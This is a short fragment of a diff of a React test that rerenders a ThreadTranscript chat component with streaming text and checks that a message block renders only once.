|
|
339
|
+
rerender(
|
|
340
|
+
<MantineProvider>
|
|
341
|
+
<ThreadTranscript
|
|
342
|
+
messages={messages}
|
|
343
|
+
liveParts={[{ id: 'live', type: 'text', text: 'ab' }]}
|
|
344
|
+
liveStatus="streaming"
|
|
345
|
+
/>
|
|
346
|
+
</MantineProvider>,
|
|
347
|
+
)
|
|
348
|
+
|
|
349
|
+
expect(messageBlockRenderCounter.count).toBe(1)
|
|
350
|
+
})
|
|
351
|
+
})
|